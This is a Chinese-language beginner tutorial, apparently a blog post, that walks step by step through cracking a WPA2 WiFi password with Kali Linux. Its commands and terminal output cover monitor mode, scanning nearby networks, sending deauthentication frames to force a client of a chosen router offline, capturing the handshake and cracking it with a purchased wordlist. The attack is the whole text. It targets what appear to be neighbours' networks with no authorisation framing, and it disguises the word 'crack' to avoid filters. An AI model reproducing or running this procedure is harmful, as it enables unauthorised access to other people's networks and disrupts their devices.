小白教程--- kali（po解）WIFI密码（图文教程）

kali学得好，牢饭少不了！！！

原理：

模拟WiFi的已连接设备，强制让其下线重连，获取其握手包，使用密码字典（宝丽）婆洁。

环境（准备工作）：

无线网卡：RT3070L

第一行信息

┌──(root㉿kali)-[/home/kali]
└─# lsusb                             
Bus 002 Device 018: ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 010: ID 0e0f:0006 VMware, Inc. Virtual Keyboard
Bus 001 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 001 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

linux系统

┌──(root㉿kali)-[/home/kali]
└─# head -n 1 /etc/issue
Kali GNU/Linux Rolling \n \l┌──(root㉿kali)-[/home/kali]
└─# uname -a
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64 GNU/Linux┌──(root㉿kali)-[/home/kali]
└─# uname -r
6.5.0-kali3-amd64

操作步骤：

步骤1：网卡连接虚拟机系统

网卡连接前 lsusb 查看连接信息

┌──(root㉿kali)-[/home/kali]
└─# lsusb
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 010: ID 0e0f:0006 VMware, Inc. Virtual Keyboard
Bus 001 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 001 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

插上网卡后再次查看信息，确保网卡以连上

第一行就是连上的网卡

┌──(root㉿kali)-[/home/kali]
└─# lsusb
Bus 002 Device 019: ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 010: ID 0e0f:0006 VMware, Inc. Virtual Keyboard
Bus 001 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
Bus 001 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

步骤2：查看网卡是否识别

ifconfig -a

如果出现 wlan0 则说明网卡已连接成功

┌──(root㉿kali)-[/home/kali]
└─# ifconfig -a
eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500ether 00:0c:29:b2:db:62  txqueuelen 1000  (Ethernet)RX packets 15228  bytes 22181855 (21.1 MiB)RX errors 0  dropped 0  overruns 0  frame 0TX packets 1395  bytes 97861 (95.5 KiB)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536inet 127.0.0.1  netmask 255.0.0.0inet6 ::1  prefixlen 128  scopeid 0x10<host>loop  txqueuelen 1000  (Local Loopback)RX packets 884  bytes 44240 (43.2 KiB)RX errors 0  dropped 0  overruns 0  frame 0TX packets 884  bytes 44240 (43.2 KiB)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0wlan0: flags=4098<BROADCAST,MULTICAST>  mtu 1500ether 14:6b:9c:02:72:1a  txqueuelen 1000  (Ethernet)RX packets 0  bytes 0 (0.0 B)RX errors 0  dropped 0  overruns 0  frame 0TX packets 0  bytes 0 (0.0 B)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

步骤3：开启网卡监控

airmon-ng start wlan0

┌──(root㉿kali)-[/home/kali]
└─# airmon-ng start wlan0PHY     Interface       Driver          Chipsetphy14   wlan0           rt2800usb       Ralink Technology, Corp. RT2870/RT3070(mac80211 monitor mode vif enabled for [phy14]wlan0 on [phy14]wlan0mon)(mac80211 station mode vif disabled for [phy14]wlan0)

查看是否监控成功

ifconfig -a

如果出现wlan0mon则说明监控成功

┌──(root㉿kali)-[/home/kali]
└─# ifconfig -a
eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500ether 00:0c:29:b2:db:62  txqueuelen 1000  (Ethernet)RX packets 15228  bytes 22181855 (21.1 MiB)RX errors 0  dropped 0  overruns 0  frame 0TX packets 1395  bytes 97861 (95.5 KiB)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536inet 127.0.0.1  netmask 255.0.0.0inet6 ::1  prefixlen 128  scopeid 0x10<host>loop  txqueuelen 1000  (Local Loopback)RX packets 884  bytes 44240 (43.2 KiB)RX errors 0  dropped 0  overruns 0  frame 0TX packets 884  bytes 44240 (43.2 KiB)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500unspec 14-6B-9C-02-72-1A-00-62-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)RX packets 3281  bytes 559070 (545.9 KiB)RX errors 0  dropped 3281  overruns 0  frame 0TX packets 0  bytes 0 (0.0 B)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

步骤4：扫描附近WiFi

airodump-ng wlan0mon

扫描结果如下，确定需要破解的WiFi

本文以TP-LINK_97A4为例

 CH  4 ][ Elapsed: 1 min ][ 2024-06-08 01:49                                                                                                               BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                           10:63:4B:30:FD:67  -33       30        0    0  12  270   WPA2 CCMP   PSK  MERCURY_FD67                                                                    16:D8:64:51:4F:EE  -65       10        0    0   6  270   WPA2 CCMP   PSK  <length:  0>                                                                    F4:2A:7D:38:D5:15  -66        2        0    0   6  270   WPA2 CCMP   PSK  TP-LINK_D502                                                                    14:D8:64:50:4F:EE  -66       17        0    0   6  270   WPA2 CCMP   PSK  TP-LINK_4FEE                                                                    C8:75:F4:69:54:92  -56       26        0    0   6  324   WPA2 CCMP   PSK  CMCC-3u4g                                                                       24:69:68:76:97:A4  -37       38       22    0   6  405   WPA2 CCMP   PSK  TP-LINK_97A4                                                                    C0:A4:76:6A:05:EB  -55       23        0    0  11  360   WPA2 CCMP   PSK  CMCC-gURM                                                                       70:AF:6A:8C:45:08  -65        3        2    0  11  130   WPA2 CCMP   PSK  306                                                                             D4:84:09:38:2C:A2  -64       21        1    0  11  270   WPA2 CCMP   PSK  MERCURY_2CA2                                                                    24:CF:24:CD:E9:27  -59       20        0    0  10  130   WPA2 CCMP   PSK  cpdd                                                                            80:8B:1F:98:B2:60  -50       10        0    0   5  270   WPA2 CCMP   PSK  504                                                                             A4:A9:30:FA:FB:E5  -57       31       10    0   4  130   WPA2 CCMP   PSK  Xiaomi_FBE4                                                                     E0:EF:02:01:67:BD  -46       33        6    0   1  360   WPA2 CCMP   PSK  403*                                                                            80:6B:1F:00:26:23  -66       25        2    0   1  130   WPA2 CCMP   PSK  XJT-400M_2622                                                                   C8:BF:4C:95:CB:CF  -59       35        0    0   1  270   WPA2 CCMP   PSK  Xiaomi_43EF                                                                     BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                         24:69:68:76:97:A4  F2:E6:18:8D:02:54  -40    0 - 6      0        1                                                                                        24:69:68:76:97:A4  14:13:33:6C:12:9D  -44    0 - 1      0        3         TP-LINK_97A4                                                                   24:69:68:76:97:A4  76:82:DA:61:E7:B9  -54    1e- 1e     0       31                                                                                        80:8B:1F:98:B2:60  4A:A5:AA:BB:42:DD  -62    0 - 1e     0        6                                                                                        A4:A9:30:FA:FB:E5  C2:58:EB:56:AA:4A  -58    0 -24      0        2                                                                                        E0:EF:02:01:67:BD  F4:D6:20:92:04:42  -44    2e- 1e     0        7                                                                                        80:6B:1F:00:26:23  5C:D0:6E:DF:49:3A  -58    0 - 1e     0        4

步骤5：命令行等待抓取握手包

airodump-ng -w ./GGX -c 6 --bssid 24:69:68:76:97:A4 wlan0mon -ignore-nefative-oneaa

c：指定信道，即步骤4扫描结果CH列内容

-w：指定抓去握手包的存放路径

–bssid：指定路由器的MAC，即步骤4扫描结果的第一列BSSID

需要更改两个参数，信道和地址，这两个参数分别是扫描wifi时确定要破解的wifi参数

抓取扫描结果，如下，当前WiFi有4台设备连接

 CH  6 ][ GPS  *** No Fix! ***              ][ Elapsed: 36 s ][ 2024-06-08 01:57                                                                           BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                       24:69:68:76:97:A4  -37 100      377       51    0   6  405   WPA2 CCMP   PSK  TP-LINK_97A4                                                                BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                         24:69:68:76:97:A4  14:13:33:6C:12:9D  -34    0 - 1e     0       15         TP-LINK_97A4                                                                   24:69:68:76:97:A4  14:D1:69:11:A5:6C  -46    1e- 6      0       32                                                                                        24:69:68:76:97:A4  F2:E6:18:8D:02:54  -44    1e- 6      0       88                                                                                        24:69:68:76:97:A4  76:82:DA:61:E7:B9  -48    1e- 1e     1       73

步骤6：抓取握手包

步骤5都界面不需要关闭，模拟期中一台设备，让其断线重连，抓取其握手包。

aireplay-ng -0 5 -a 24:69:68:76:97:A4 -c 14:13:33:6C:12:9D wlan0mon

-0:代表攻击次数，以5次为例

-a：指定路由器的MAC

-c：指定客户机的MAC

└─# aireplay-ng -0 5 -a 24:69:68:76:97:A4 -c 14:13:33:6C:12:9D wlan0mon
02:05:49  Waiting for beacon frame (BSSID: 24:69:68:76:97:A4) on channel 6
02:05:51  Sending 64 directed DeAuth (code 7). STMAC: [14:13:33:6C:12:9D] [80|64 ACKs]
02:05:52  Sending 64 directed DeAuth (code 7). STMAC: [14:13:33:6C:12:9D] [68|53 ACKs]
02:05:53  Sending 64 directed DeAuth (code 7). STMAC: [14:13:33:6C:12:9D] [86|62 ACKs]
02:05:54  Sending 64 directed DeAuth (code 7). STMAC: [14:13:33:6C:12:9D] [65|49 ACKs]
02:05:55  Sending 64 directed DeAuth (code 7). STMAC: [14:13:33:6C:12:9D] [67|39 ACKs]

步骤7：抓取握手包结果

回到步骤5打开的终端，如果出现handshake，则说明握手包抓取成功，

如果抓取失败，则模拟另外一台设备，重复步骤6

CH  6 ][ GPS  *** No Fix! ***              ][ Elapsed: 3 mins ][ 2024-06-08 02:08 ][ WPA handshake: 24:69:68:76:97:A4                                     BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                                                       24:69:68:76:97:A4  -42  96     1745     1577    2   6  405   WPA2 CCMP   PSK  TP-LINK_97A4                                                                BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes                                                                         24:69:68:76:97:A4  B0:D5:9D:6E:BF:48    1    1e- 1e     0       17                                                                                        24:69:68:76:97:A4  14:D1:69:11:A5:6C  -52    0 - 6      0        8                                                                                        24:69:68:76:97:A4  F2:E6:18:8D:02:54  -42    1e- 6      0       42                                                                                        24:69:68:76:97:A4  14:13:33:6C:12:9D  -28   11e- 5e    11     1437  EAPOL  TP-LINK_97A4                                                                   24:69:68:76:97:A4  76:82:DA:61:E7:B9  -52    1e-11e    18      833

观察目录下是否生成文件

┌──(root㉿kali)-[/home/kali]
└─# ls -l
total 1519876
-rw-r--r-- 1 root root         28 Jun  8 01:57 GGX-01.ivs
-rw-r--r-- 1 root root         28 Jun  8 01:59 GGX-02.ivs
-rw-r--r-- 1 root root       5572 Jun  8 02:06 GGX-03.ivs

步骤8：获取密码字典

此步骤非常重要，能否（婆洁）成功就看它了

可以通过某宝获取，或者是网络上搜索

一般购买无线网卡会赠送字典

步骤9：将密码字典拷贝至于握手包文件同一个路径

┌──(root㉿kali)-[/home/kali]
└─# ls -l
total 1519876
-rw-r--r-- 1 root root         28 Jun  8 01:57 GGX-01.ivs
-rw-r--r-- 1 root root         28 Jun  8 01:59 GGX-02.ivs
-rw-r--r-- 1 root root       5572 Jun  8 02:06 GGX-03.ivs
-rw------- 1 kali kali      16391 Jun  2 10:46 wordlist.TXT

步骤10：保利婆洁WiFi密码

aircrack-ng -w wordlist.TXT GGX-0*

wordlist.TXT 是字典

婆洁成功界面，密码越简单越容易被婆洁

KEY FOUND!后面的就是密码

                               Aircrack-ng 1.7 [00:00:02] 2039/2109 keys tested (1269.26 k/s) Time left: 0 seconds                                      96.68%KEY FOUND! [ 123456 ]Master Key     : 97 77 C9 45 72 B4 90 9C 56 F7 22 AD F1 E0 8A DC E9 3F 7F 1D A1 D6 AE 79 89 D5 8A FE E1 95 FE 59 Transient Key  : 57 E3 41 E7 5A A3 C3 B2 30 09 17 7D 53 B1 60 BC 05 17 02 B5 3C 78 10 5E 79 3C 81 8D A2 5B 94 C4 08 1C DC EC 31 A2 32 6E 96 D9 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EAPOL HMAC     : 1C 9E F6 0D 9D 16 92 37 0D 90 6E 9B D9 03 7F B8